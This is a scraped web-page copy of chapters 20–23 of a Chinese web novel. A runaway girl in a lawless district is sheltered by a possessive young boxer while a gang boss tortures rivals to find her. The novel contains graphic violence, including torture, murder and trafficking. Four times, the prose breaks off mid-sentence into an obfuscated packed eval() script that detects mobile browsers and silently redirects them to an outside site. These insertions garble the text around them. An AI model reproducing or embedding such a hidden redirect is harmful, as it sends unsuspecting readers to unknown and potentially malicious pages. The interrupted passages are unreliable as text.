“同伙在哪。”陈寅洛又问。 几人要哭了,死亡或许还能咬牙硬扛,但这种毫无尽头的折磨,太恐怖了。 其中一人身体瘫软下去,声音因过度恐惧而变了调:“不知道!我们真的不知道!” 听到这话,陈寅洛没了耐心,直接站起身来。他迈步向外走去,经过手下身边时,脚步未曾停顿,只丢下一句淡漠至极的指令: “注意分寸,我要他们活着。手脚这些多余的东西就去掉吧,让他们用最原始的方式,好好感受这个世界。” “是。” 古波低声交代手下“处理完把地弄干净”,便急匆匆小跑着追了出来。 他快步跟在陈寅洛侧后方,微喘着气汇报:“洛哥,附近的监控我们都筛了三遍了。可那地方太偏,十有八九都是坏的……目前,目前还没找到有用的线索。” 陈寅洛停下脚步。 古波的心猛地一提,也立刻刹住脚步,垂下了视线,不敢与之对视。 陈寅洛甚至没完全转身,只是侧过头,目光居高临下地压过去,“你们肩膀上顶着的是废物?” 古波冷汗涔涔,急声道:“对不起洛哥,我一定用最快的速度把人挖出来!一定会找到陈小姐的!” 陈寅洛没答,抬脚就走。 直到他走远了,古波才抬手擦了擦汗,然后马上召集人手继续下一轮追查。 —— 直到支援的人全部走远后,陈知念又屏息等待了许久,才敢战战兢兢地探出身来。 粗粝的墙壁硌着她的掌心,每挪动一步,右膝盖便传来一阵尖锐的刺痛。 艾雅姐姐应该会没事的,肯定会得救的。她低头瞥去,只见裤子的布料早已磨破,血丝混着灰尘狼狈不堪。 她咬着牙一步步挪动着,心里一遍遍默念,艾雅姐姐会得救的,一定会没事的。 当她的手搭上车门把手的瞬间,一个念头猛然窜进她的脑海。 她在干什么?她难道还要回到陈寅洛那么? 指尖倏地缩回,不行,她不能回去!她要回白塔城!她要去找爸爸妈妈! 她踉跄着退后几步,远离那辆皮卡,然后猛地转身,朝着相反的方向小跑而去。 每跑一步,膝盖都钻心地疼。 想到禁区里可能会遇到的种种危险,视线迅速扫过肮脏的地面,随即蹲下身,抓起一把混合着污水的烂泥,毫不犹豫地往脸上和脖颈处抹去,又胡乱抓了几把头发,才继续深一脚浅一脚地前行。 她全程避开大路,只挑最阴暗狭窄的巷弄穿行,若是遇到人就缩着肩膀低着头,旁人看到她浑身脏兮兮的,只当是傻子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277593|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无不嫌恶地皱皱眉,还有人会骂一句臭乞丐,滚远点。 她不知走了多久,全靠一股意志强撑着。 直到又到了某处脏污的小巷,巷子尽头,一个巨大的垃圾桶散发着浓烈的酸腐气味。而就在桶边,一个约莫四五岁的孩子正蜷缩在那里,身子瘦小脑袋很大,正专注地从一堆烂菜叶里扒拉出一块几乎被绿毛裹满的面包碎,看也不看便塞进嘴里。 看到这一幕,陈知念停下脚步,心里酸酸涩涩的,难以言喻。 在白塔城,是永远不会看到这样的画面的。 她下意识摸了摸口袋,她记得那里还有一块巧克力,是她还在白塔城的时候带在身上的,她一直没舍得吃。 她看着那孩子,又低头看看掌心的巧克力,没有犹豫,缓步走了过去。 她蹲下身子,视线尽量和小男孩齐平,晃了晃手中的巧克力,声音柔和地说:“小弟弟,你看,这个……这个更好吃。我们用这个换那个脏脏的,好不好?” 金色锡纸包裹的巧克力闪亮亮的,小男孩的眼睛一下子睁得溜圆,里面写满了惊奇和渴望。 陈知念轻轻笑了笑,手指在裤子上擦拭了一下,才慢慢剥开锡纸,将巧克力递到小男孩嘴边。 “尝尝看,是甜的。我以前……也很喜欢这个。” 小男孩呆呆地眨眨眼,然后接过巧克力试着咬了一小口,巧克力一进入口腔,便在温热的包裹中悄然融化,弥漫的香甜味瞬间让小男孩的眼睛难以置信地瞪大。 “好吃吧?”陈知念笑着,伸出手揉揉小男孩发顶。 然而,垃圾桶旁不知道在什么时候就围过来了几个十几岁的少年,吊儿郎当的身影将她和小男孩的退路完全堵死。 为首一个高个少年歪着嘴,毫不客气地冲着男孩嗤笑:“喂,小傻子,手里藏的什么好东西?赶紧孝敬你爹尝尝!” 看到几人,小男孩顿时往后躲去,拿着巧克力的手也藏到了身后,一脸惊恐。 陈知念也有些害怕,但还是大着胆子,不着痕迹地往小男孩前面挡了挡。 那高个少年见小男孩竟敢躲藏,脸上那点流里流气的笑容瞬间收起。 “妈的,给你脸不要脸是吧?”他上前一步,根本不管挡在前面的陈知念,劈手就往小男孩抓去。 “啊!”小男孩吓得尖叫一声,死死攥着巧克力往后缩。 陈知念被少年粗暴的动作带得一个趔趄,却仍下意识地张开手臂想护住孩子:“你们干什么!别抢孩子的东西!” “滚开!臭要饭的,这里没你事!” 说着,就一把将陈知念推翻在地,身上的衣服全部被污水弄脏。 就在这时,一声惨叫从陈知念耳边炸开,刚才推搡她的人被人一拳击倒在地。 陈知念惊愕地抬头,看见了一个突然出现的少年。 他看起来也不过十七八岁,身形精瘦颀长,穿着一件洗得发旧的黑色背心,裸/露出的手臂线条流畅而充满爆发力,上面新旧伤痕交错,平添了几分骇人的戾气。 眉眼深邃,眼窝微陷,鼻梁高挺得近乎锐利。唇线很薄,颜色偏淡,此刻正紧紧地抿着,散发着暴戾之气。 没人看清他是怎么出手的,高个少年就像个破麻袋一样倒飞出去,重重撞在对面的墙壁上,软软滑落,哼都哼不出来了。 紧接着是第二声,第三声,另外几个围上来的少年也以同样的方式被撂倒在地,痛苦地蜷缩着呻吟。 三两下解决完所有人,少年才抱起缩在地上的小男孩。然后他的视线落在了陈知念身上,朝她走了过去。 他很高,阴影完全将娇小的她笼罩。 接着,他开口了。声音是那种长期不说话或嘶吼后的低哑,没有任何情绪。 “你给他吃了什么?” 21. 第 21 章 少年泠洌的气息太过迫人,陈知念忍不住向后缩了缩,小声道:“是巧克力。” “巧克力?”少年拧紧了眉,这个词在他阴戾的眼底溅起了些许波澜。 这玩意他只在某些残破的旧杂志上,或路过上层区域时听人模糊地提起过,是一种甜腻、属于另一个世界的奢侈符号。 在禁区这泥潭里挣扎求生的人,连吃饱都是奢望,谁会去弄这种华而不实,专门糊弄小孩的玩意儿? 这里的小孩命不值钱,更像是不需要童年乐趣的缩版大人,活着就是唯一的任务。大人绝不会,也根本没有余钱浪费在这种毫无用处的东西上。因此,禁区的商店里也几乎绝不会出现这种商品。 这时小男孩将棕色的巧克力凑近少年紧抿的唇边,“哥哥,甜的,你吃。” 他的大眼睛是全是想与最亲近的人,分享好东西的渴望。 少年的视线落在棕色物体上停了一瞬,又落回小男孩脸上,眼底的冷意化开了些。 他抬起缠着脏污绷带的手,轻轻将弟弟举着巧克力的手推了回去。 “哥哥不吃,你吃吧。” 说完,他的目光终于又落到了陈知念身上。 这一次,他打量地很仔细。 少女脸上、身上虽然全是脏污,发丝凌乱地黏在额角和脸颊,看起来狼狈不堪。但透过那些狼藉的污渍,他还是清晰地辨认出了那精致小巧的五官。 秀气的眉毛,挺翘的鼻尖,尤其是那双氤氲着水汽的眼睛,像被雨水洗过的琥珀,带着与这肮脏巷弄格格不入的清亮干净。 干净,过分的干净。 她,绝不属于这里。禁区里,没有人可以拥有这种眼神。 一种强烈、从未有过的占有欲瞬间涌进他的心房。他要将这道光攥在手心,藏起来,绝不允许任何人窥见。 少年浑身的冷硬突兀地散去,连带着那双阴鸷的眼睛也微微弯起,像是骤然穿透乌云洒下的阳光。 “吓到你了吧?刚才我实在太过紧张了,态度不好,实在对不住。” “谢谢你护着我弟弟。”他笑着补充道,语气温和有礼,与刚才打架时判若两人。 他骤然转变的态度让陈知念有些发懵,但他笑起来的那份纯粹又做不得假。 想到刚才小男孩在垃圾堆里捡吃的,再看到少年此刻强撑起的明朗,一种同病相怜的酸楚悄然弥漫开来。 他们只是在艰难地活着,或许少年之前的狠厉就是强装出来的。 “没关系,你不用道歉。你弟弟……他很可爱。”她轻轻摇头。 “陆野。”少年的目光直直盯着她,又觉得太过明显,才稍稍收敛,“我叫陆野。” 他侧过头看向还在舔巧克力的小男孩,“这是我弟弟,陆平安。他……前年生了场大病,烧得太厉害,之后,脑子就有点慢,不太明白事。” 说完,他的视线便立即折返,不打算放过陈知念脸上的丝毫表情。 看到她眼里流露出的心疼、惋惜,少年的唇角不着痕迹地勾了勾。 “会好起来的。”陈知念抿了抿唇,肯定道:“现在医学很发达,只要通过治疗,他一定会好的。” 陆野盯着她,又试探道:“今天多谢你了,你家在哪,现在这么晚了你一个人回去不安全,需要我送吗?” “我……” 陈知念短暂地犹豫了一下。或许是少年真挚的笑容,或许是少年那份对弟弟的爱,让她感受到了久违的暖意,她不由地吐露了心声,“我……我没有地方可以去。” 而她回答时正低着头,因此全然错过了陆野听到这话时,眼里骤然亮起又被他迅速压制的,如同野兽锁定了猎物的炙热光芒。 “你救了我弟弟,我陆野不是不知好歹的人。”他看了一眼漆黑的巷子,“我住的地方就在那边,如果你不嫌弃……你可以暂时住在我家,虽然很简陋,但至少能遮风挡雨,比外面安全得多。” 像是怕她多想,他很快又接到,“你别误会,我就是……就是不能眼睁睁看着救命恩人流落街头。当然,你要是觉得不方便也完全没关系。” 陈知念没有说话,直直望进陆野的眼睛里,似乎在分析他话语里的真伪。 陆野没有闪躲,任由她打量,眼里一片坦荡。 陆平安这时也终于吃完了巧克力,他嗦了嗦手指,冲着陈知念露出了一个大大的笑容,清脆地连声喊道:“姐姐!姐姐!” 陈知念沉默了片刻。陆野的目光坦荡得让人挑不出一丝错处,而小平安那两声依赖又亲昵的“姐姐”,又让她的心软得一塌糊涂。 她看了眼漆黑、像是藏着怪兽的巷子,膝盖好像又传来一阵阵疼痛。 “好。”她终于点头答应,“那就……麻烦你了。” 陆野眼底深处迅速掠过一缕得逞的光芒,“不麻烦,跟着我来吧。” 他抱着陆平安,引着陈知念朝巷子里更深处走去。 陆野推开一扇吱呀作响木门,侧身让陈知念进去。 屋子里比巷子里亮不到哪去,只有一盏瓦数极低的白炽灯悬在屋顶,散发着微弱的光芒,勉强照亮了这方狭小的空间。 墙壁斑驳不堪,四处都是大片的水渍和剥落的墙皮,看上去很是破旧。 家具少的可怜,除了一张木板床,就只剩一张旧的木桌。木桌腿脚似乎不太稳当,用几张废纸垫着。两张破旧的板凳靠墙放着,除此之外,几乎再无他物。 陈知念站在门口,怔愣地看着眼前的一切。 她从未想象过,人可以住在这样的地方。 陆平安却像是回到了最安全的港湾,光着脚丫就熟练地爬了了床。陆野看到了,当即把他拎了下来,小声说:“今晚不准上去。听见没?我们睡地板。” 陆平安懵懵懂懂,可还是听话的没再爬上去。 “抱歉,有点简陋。”陆野循着记忆里少年该有的模样挠挠头,“这毯子……我昨天刚洗过,应该还算干净。” 陈知念拘谨地摆摆手,她贸然到别人家里借住已经是打扰了,怎么还能有半分挑剔。 “没、没事。这已经很好了……非常谢谢你。” 陆野视线在她身上扫过,又说,“你稍等一下,我去打水来给你洗洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282199|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸。” 没等她回答,他就从墙角拎起那个边缘有些磕碰的旧铝盆,拉开破旧的木门走进了夜色中。 陈知念有些赫然地呆立在那,陆平安似乎习惯了哥哥的来去,自己安安静静地站在地上,好奇地打量着这个陌生的姐姐。 很快木门被再次拉开,陆野端着盆子走了进来放在桌上。 陈知念手足无措,她其实有些害怕,又有点后悔,她怎么就真的跟着一个完全陌生的男人走了呢?如果他真的是坏人,那她能逃得掉吗? 她无意识攥紧了衣角,盯着那盆映着微弱灯光的水,喉咙发紧,一言不发。 忽然,一块折叠得方方正正的毛巾递到了她低垂的视线里。 毛巾洁白无暇,质地虽然普通,却干干净净,与破旧脏污的房子格格不入。 她下意识接过,就听到陆野说,“我和平安在外面等你,洗完了叫我。” 然后他就抱着陆平安走了出去,还贴心的关好了门。 看着紧闭的木门,陈知念紧绷的心才终于放了下来,看来这个少年是好人,她不该无故怀疑别人的。 而此时门外。 陆野抱着陆平安坐在门口台阶上,仰头看着天上零星的几颗星星,唇角漾着笑。 “平安,喜欢刚才那个姐姐吗?” 陆平安似懂非懂地点点头,嘴里含糊地念着:“糖……甜……” 陆野低笑出声,胸腔传来轻微的震动。 “很好。记住,以后……她就是你嫂子了,有哥在,没人能动你们一根头发。” 没等多久,木门再次打开。 陈知念脸上脖子都洗干净了,露出了那张白净的小脸,温温柔柔的,莹白如玉。 陆野一下看呆了。 他呆滞了足足半分钟,才从台阶上站起身。 视线不由自主落到她身上脏污的衣服,他想,明天就去弄套新的。 他抱着平安又回到破房子,陈知念仍旧很拘谨,这里肉眼可见,只有一张床。 看到她流露出明显的不安,陆野没多说什么,直接从角落拿了一张旧席子铺在地上,“我和平安睡地上,你睡床上。” 陈知念推拒了几次,可陆野像是没听见,径直抱起已经犯困的平安,就躺到了地上的草席上,然后闭上了眼。 见状,她也只能走到唯一的木板床上躺下。 她以为她会睡不着,可也许是一直紧绷的情绪得以缓解,她竟很快便进去了梦乡。 而就在她睡着不久,黑暗中陆野倏地睁开了眼眸。 他敏捷地从地上翻身而起,回头看了眼床上熟睡的身影,这才轻手拉开破旧的木门,走入了暗夜中。 七拐八绕后,他在一处比他住处更破败的草棚前停住了脚步。 草棚四处漏风,几个青年正躺在地上酣睡,在寒风里甚至没有一张可以遮身的被子,就这么席地而眠。 几分钟后,陆野转身离开。 而草棚里已经没有任何活人的气息了。 任何潜在的风险就要被抹除,这样,她出现过在这儿的痕迹就彻底消失了。 22. 第 22 章 “吗的,陈寅洛这条疯狗不知道又在发什么疯!”一个满脸横肉、三角眼的男人狠狠嘬了一口烟,怨气冲天地低骂,“我好几个来钱的场子,今晚全被他底下那批疯狗扫了,损失这个数!” 他伸出粗短的手指比划了一下。 他对面一个油光满面的男人打出一张八筒,然后问:“动静这么大,为的什么事?” “还能为什么?等等,三万我要碰!”三角眼急哄哄拦下牌,又打出一张牌才说,“说是丢了个女人,掘地三尺也要找出来!吗的!他陈寅洛丢个女人关老子什么事,真他妈晦气!” 黎安邦摸牌的手顿了顿,精明的眼里闪过一丝了然,随即又恢复成一副弥勒佛的模样,呵呵一笑。 “我当是什么捅破天的事,原来是丢了心头肉。”他顿了顿,又意味不明地说,“不过嘛,这话可就有意思了。外头不都传他陈寅洛是个清心寡欲、不近女色的得道高僧么?我他妈真以为他对女人没兴趣,是个不行的呢。” 他话落音,牌桌上另两个男人也发出心照不宣的哄笑,气氛顿时变得猥琐。 “也不知是哪降下来的天仙,连陈寅洛都迷了去,要是让我找到,我高低得爽两把。” 可三角眼男人听了却蹙起眉,若有所思。沉思片刻他开口,“我可听说四眼明和高佬的妻儿老小都被他给抓了,送去跟他俩团聚了。” 他扫过牌桌上众人,“谁他妈知道他下一口咬到谁身上?但要是我们能赶在他前头,把他那个宝贝女人捏在手里……” 他说没说完,但意思不言而喻。 “呵,”黎安邦摸出一张牌,“这话……可是在刀尖上跳舞啊。” 牌桌瞬间安静下来,只剩麻将碰撞的声音。 —— 第二天天刚蒙蒙亮,陆野就睁开了眼,眼神明亮清冽,没有丝毫刚睡醒的迷蒙。 他动作极轻的起身走向木板床,目光落在还在熟睡的陈知念脸上。 薄毯不知何时已经从她肩头滑落,露出小半截纤细的锁骨。 他俯下身,极其小心的拈起毛毯,重新将它严严实实盖回她肩头。 又伫立了几秒后,他才悄然拉开木门走了出去。 没过多久,陆野带着一身微凉的寒气回来,手里拿了几个还冒着热气的包子。 嗅到包子的香味,陆平安顿时睁开了眼,黑亮的眼睛里迸发出惊喜的光芒,一骨碌就从地铺上坐了起来,伸出小手指着,欢快地喊道: “包子!哥!吃包子!” 清脆的童声吵醒了陈知念,她迷迷糊糊地睁开眼坐起来,循着声音看去,正好看到陆平安雀跃的小脸和陆野手里香喷喷的包子。 肚子不争气地“咕噜”一声。 她尴尬地红了脸,却听到陆野说,“我买了新的牙刷,刷完牙一块吃吧。” “谢谢。” 洗漱过后,几人坐在唯一的木桌前,开始吃早餐。 总共四个包子,陈知念两个,陆平安两个。 陈知念握着包子犹豫道,“你不吃么?” 陆野正擦着平安嘴角的碎屑,闻言头也没抬,声音听不出任何异常,“我已经吃过了,在外面。” 陆平安紧紧抓着包子一口口往嘴里塞,腮帮子塞得鼓鼓囊囊,眼睛幸福得眯成一条缝。 他已经不记得上次是包子是什么时候了,包子真香啊,又甜又软,真想天天吃! 他含糊不清地说,“哥,明天、明天还……吃包子吗?” 陆野没回答这个问题,替他顺了顺背道:“慢点吃,别噎着。” 在两人吃早餐的间隙,陆野从灰扑扑的背包里拿出一卷暗沉的绷带和磨损严重的拳击手套。 他熟练地用绷带缠绕自己的手掌和手腕,一圈又一圈,勒紧,固定。缠绕完毕,他握了握拳,感受了一下,随即将拳套夹在腋下,站起身来。 “我出去一趟。”他揉了揉平安的发顶,视线落到陈知念身上,“你们……最好是别出门。” 陈知念看着他要转身的身影,立即鼓起勇气说,“请、请等一下!” 陆野脚步停住,回头看她,眼神带着询问。 陈知念低下头,词措非常小心,“我……我对这里不熟悉,我想请问,你知不知道从这里……呃,就是禁区要怎么样才能去往别的区域?” “你要哪个区域?”陆野眼底暗了暗。 “……白塔城,”陈知念声音更小了,“我……不是这里的人,我是意外被带到这里来的,我想要回去。” 她抬起眼眸,满怀希冀地看向陆野,“你可以帮帮我么?” 陆野的掌心不着痕迹倏地攥紧了,面上却丝毫不显,“我知道了,我会帮你留意的,在我回来之前,你千万不要出门。” 说完他就大步走出了破屋。 —— 地下拳场,一个原始的弱肉强食的微世界。 昏黄的灯光下人群攒动,呐喊、嘶吼、脏话和□□的碰撞交织,声浪几乎要掀翻房顶。 台上的男人脸上青肿不堪,嘴角淌着血,却还是红着眼,挥着拳头往对手的肋骨上砸。 另一个则死死掐着他的胳膊,膝盖狠狠顶向他的小腹。 台下的观众面庞扭曲,手里攥着钞票,眼神狂热地盯着台上,嘴里喊着“往死里打!”“别怂!”。 陆野对这一切视若无睹,像一尾鱼滑过狂热的人群,往擂台后方阴暗潮湿的通道走去。 偶尔有相熟或不相熟的人投来目光,有的带着敬畏,有的带着挑衅,陆野则一概无视。 走进侯场室后,他打开自己的柜子,将背包塞了进去。 “野哥,来这么早啊!” 陆野“嗯”了一声,开始检查缠好的绷带。 这时金经理得到陆野来了的消息,抽着烟走了进来,他走到陆野面前停下,脸上挂着皮笑肉不笑的表情:“陆野,今天这场……老板们的意思是,要你躺下。” “对面那小子是张老板力捧的新人,赔率一边倒,你得输得像样点。懂我的意思吧?演好了,后面好处少不了你的。” 陆野抬眸,眼神里含着戏虐和野性,“行啊。想要多漂亮?你给个标准。不过……” 他眼神闪了闪,“标准越高,价格越贵。” “你什么意思?”金经理眼神凝下,“你想临时加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284766|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价?” “对。”陆野笑了笑,“以前的价格,今天,不够。” 金经理丢下烟蒂,用脚踩灭,沉着脸问,“你要加多少?” “三成。” 金经理的脸色彻底沉了下去,腮帮子的肌肉咬得紧紧的,他阴恻恻地盯着陆野。 “陆野,你小子跟我来这套?坐地起价,想坏规矩?” 陆野无所谓地耸肩,继续整理手腕的绷带,“行,那我就按自己的方式来了。” 这话里的意思再明白不过——不加钱,他就可能“失手”把那个被力捧的新人给打废。 金经理沉默了许久,脸色变了几变才咬着牙说:“行!三成就三成!但老子警告你,陆野,要是演砸了,或者让人看出半点毛病,老子他妈让你把吃进去的连本带利吐出来!” “放心吧。” 陆野最后紧了紧绷带,看也没看气急败坏的金经理,转身撩开厚重的帘子,走向声浪滔天的擂台。 不知过了多久,幕帘被再次掀开。 陆野拖着沉重的脚步走了进来,额头上裂开了一道口子,渗出的鲜血覆盖了他小半张脸。脸颊也肉眼可见的肿了起来,原本俊逸立体的五官在恐怖的青紫下变得模糊扭曲。裸/露的上身除了旧伤,又添了几道刺眼的红痕,肋骨下方一道深色瘀伤凹了下去,看着触目惊心。 他却像没什么感觉,走到金经理面前,伸出手。 金经理脸色难看的哼了一声,极不情愿地从怀里掏出一小叠钞票,甩在了陆野手上。 “拿好了,下次再跟老子玩这套,就没这么简单了!”金经理骂骂咧咧地走了。 陆野没理会他的叫嚣,只低头认真数着钱,确认数目无误后,才将钱塞进了背包最底层。 随便冲了个澡,他就背着包离开了拳场。 出了拳场走到一个包子铺前,他停下脚步买了一个带肉馅的。 肉包刚拿到手里,他就三两口迅速吃完了,温热的食物下肚,腹里叫嚣的饥饿感才终于稍稍平息。 陆野抹了下嘴,没有停留继续朝前走,很快便来到了一个嘈杂的市场。 他一路穿寻,终于在一个摊位前停了下来。 目光落在一件洁白素净的长裙上,“这个,多少钱?” 摊主报出一个不算便宜的价格。 陆野脸上没有任何表情,甚至没有讨价还价,沉默着从背包里掏出那叠还没捂热的钞票,数过之后,递给老板。 一沓钞票瞬时少了一半还多。 但他觉得值得。 这衣服穿在她身上,一定很好看。 在即将走出市场时,他忽然听到有几个游手好闲,贼眉鼠眼的人在一堆吞云吐雾。 “你听说了吗,上面那几个老板,特别是陈老大,快要把禁区翻个底朝天了!” “废话,闹这么大谁不知道?说是为了找个娘们。” “也不知道是个什么人物,要这么大动干戈。” “你管呢,反正不是你能攀的上的!听说谁要是能提供线索,赏这个数!” 陆野指节慢慢攥紧,却像什么也没有听见,面无表情地继续往外走。 23. 第 23 章 陆野拎着装裙子的袋子,步子走得又急又快,没多久就走到了家门口。破旧的木门被一把推开,然而目光所及,空空荡荡。 没有人! 他的瞳孔骤然紧缩,手里的袋子直接从掌心滑落,下一秒,他猛地转身,疯了一样冲出屋子。 猩红的眼眸在巷子每一处可能的角落扫过,每一个转角,每一处杂物堆,甚至每一个散发着恶臭的垃圾桶,没有,没有,都没有! “平安——!” 他第一次这么失态地嘶喊。平时他在外面打拳挣钱,陆平安经常自个出去在巷子里乱转,虽然他脑子不太清楚,但也知道回家的路。况且,在人命如草芥的禁区,一个傻孩子根本无人觊觎,根本就不用担心他会被人拐跑。 可是这次不一样! 陈知念也不见了。 陆野的心像被架在烈火上焚烧,上次这样失控,还是在陆平安发烧昏迷的时候。 当时小小的陆平安就像一根煮软的面条挂在他手臂上,不会动,也不会咧开嘴傻笑着叫他哥哥。眼睛紧紧地闭着,任他怎么呼喊也没有任何反应。 身上烫的惊人,一摸上去,简直能把人灼伤。 陆野抱着他那团滚烫的小小的身体,漫无目的地就这样在巷子里游荡。 他不知道该去哪,禁区里的人不会发善心,医生是上层人才配享有的资源,像他们这种人,连看病的资格都没有用。 他没有钱,连给陆平安买一瓶最廉价的退烧药的钱也没有。 那时候他想,为什么人生会这么苦呢。 他睡过垃圾场,和野狗抢过食,打过黑工,脸被人用脚踩在地上过,听说,苦过之后就会变甜了,他苦了这么多年,为什么前方还是一片望不到头的漆黑呢。 游荡了整整一夜,烧奇迹般地退了,可小平安也变傻了。 后来,他听说打拳能挣钱,他就义无反顾去了。当时他才14岁,半大的小子,瘦的跟豆芽似的,没力气没体力,别人一拳就能把他撂倒。 每天拼的死去活来,能赚到的钱也仅仅只够饿不死自己和陆平安而已。 看到陈知念的第一眼,他就知道,她和他们这种人不一样。 她的眼睛干净、纯粹,是他在这暗无天日的黑暗里,从未见过的明亮星辰。 不,连星星都没有那么亮。 所以,从那一刻起,一个疯狂的念头便在他心底疯长。他要做那个攥住星光的人,他要将那轮骤然照进他贫瘠生命的月亮,彻底禁锢于掌心,永远都不放手。 他终于在一个堆满废弃木箱的角落看到了那个熟悉的小小身影。 陆野眼底涌出狂喜,三步并作两步猛冲了过去,一把抱起陆平安。 “平安,你嫂子呢?告诉哥,你嫂子去哪了?!” 陆平安眨眨眼,从嘴里拿出脏兮兮的手指,断断续续地说:“姐姐……车!车!走了……” “车?!” 箍着平安的手骤然收紧,力道大得让小家伙不舒服地扭来扭去。 “什么样的车?往哪个方向去了?!平安,看着哥!说清楚!” 陆平安有些被他吓到,憋出眼泪指着大路的方向,“黑……大大的车!姐姐……姐姐进去了……” 这几个零碎的词足以让陆野的心跌入谷底。 是捕奴车! 陈知念……被人贩子抓走了! —— “妈的!陈寅洛你别太猖狂了!禁区还轮不到你只手遮天!” 男人整个人被按在地上,三角眼瞪得通红,满是横肉的脸上踩着一只锃亮的红底皮鞋。 刚骂出的狠话还没落地,就被皮鞋骤然加重的力量堵了回去,男人脸上的肥肉被挤压变形,颧骨处的皮肤被碾得发颤,嘴里的口涎不受控制地流出。 皮鞋的主人微微弯下腰,阴影笼罩下来,声线里浸着戏虐,“轮不轮得到,你说了不算。” 他指尖夹着的香烟随意一抖,烟灰飘落,掉进了男人的眼睛里,灰烬在眼球灼烧,原本怒视的视线顿时变成了狼狈的挣扎。 “啊——我的眼睛!!” 陈寅洛脚下的力道再次加重,死死按住男人挣扎的躯体,他吹出一口烟,冷漠地欣赏着男人徒劳的挣扎。 “告诉我,你把她藏哪了?” “妈的!不是老子干的!”三角眼痛苦扭动着,太阳穴的青筋都根根暴起,“我他妈都不知道你在说谁!” “是么。”陈寅洛好似是笑了一下,他侧过脸,朝地上绑的结结实实的另外两个人问道,“说说,昨天晚上,他是怎么说的来着?” 地上被吓破胆的眼镜男立刻挣扎着直起上身,尖声抢答道:“陈老大!陈老大!我听到了!昨天亲耳听见狗哥说……说只要赶在您前头抓到那女人,捏住了她,就、就等于捏住了您的……的……” 他不敢说出后半句,话头一转,更加笃定地说:“千真万确!他真是这么说的!” “操/你妈的鲁老八!你个不得好死的孬种!软蛋!老子当初怎么瞎了眼和你拜把子!” 三角眼男听到鲁老八的指证,瞬间像点燃的火药桶,即使被死死踩着,也拼命挣扎试图朝鲁老八的方向扑去,嘴里牙齿咬的咯咯作响,恨不得一口咬死他。 面对这滔天的怒骂,鲁老八反而把脖子一梗,脸上毫无愧色:“兄弟不就是拿来卖的?!夫妻还大难临头各自飞呢,何况不过是拜个把子,你又不是我亲爹! 他越说越激动,仿佛要将积压多年的不满全倒出来:“再说了,你他妈的自个吃肉,我们呢?连汤都喝不上!还兄弟,我呸!” 陈寅洛微微一偏头,雷子立刻抡起手中的枪托,照着鲁老八的侧脸狠狠砸了下去。 砰一声闷响,鲁老八脸上瞬间血肉模糊,鲜血从口鼻和眉骨处汹涌而出。 陈寅洛脚下用力拧了拧,“老子的耐心耗光了,给你最后一次机会,吐不出我想要的,我让你尝尝什么叫生不如死。” “操!老子说了八百遍了!人不在我这儿!” 三角眼男人忍着剧痛咆哮出来,“你他妈要是不信,现在就派人去搜!” 闻言陈寅洛松开脚,坐回到太师椅上,松松垮垮地靠着,香烟已经燃尽,他信手将烟蒂摁灭,又重新点了一根。 他抬抬下巴,“去。” 雷子立刻带人一阵风似的冲了出去。 他带人冲去的那片地方,正是禁区最藏污纳垢、乌烟瘴气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288933|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霓虹沼泽。 这里的空气都像是黏着一层油腻,吸一口都让人头晕目眩。闪烁不休的劣质霓虹灯将每个人的脸都照的光怪陆离,模糊不清。 “搜!” 雷子一声令下,其余人便如狼似虎地散开,蛮横粗暴地撞开一扇扇贴着暧昧图案的门。 整个街区被这突如其来的暴力搜查搅得人仰马翻、鸡飞狗跳。 两个小时后,雷子沉着脸回到了陈寅洛这。 “洛哥,场子里都翻遍了,没找到。” 陈寅洛的视线移来,雷子又立刻接道:“丧狗他常去的几个窝点——他家里、情妇家里、连他老丈人那破房子我们都撬门查了!还有他名下那几个仓库、偷偷置办的其他房产……能想到的地方全都搜过,都没有。” 三角眼男人听到这话,立刻有了底气,从地上直起半边身子,狠狠朝地上嘬了一口唾沫。 “操/你妈的陈寅洛!听见了吗?!老子说了几万遍了!人他妈不是我藏的!你现在信了吧?!” 陈寅洛的视线沉沉落在他身上,没说话。 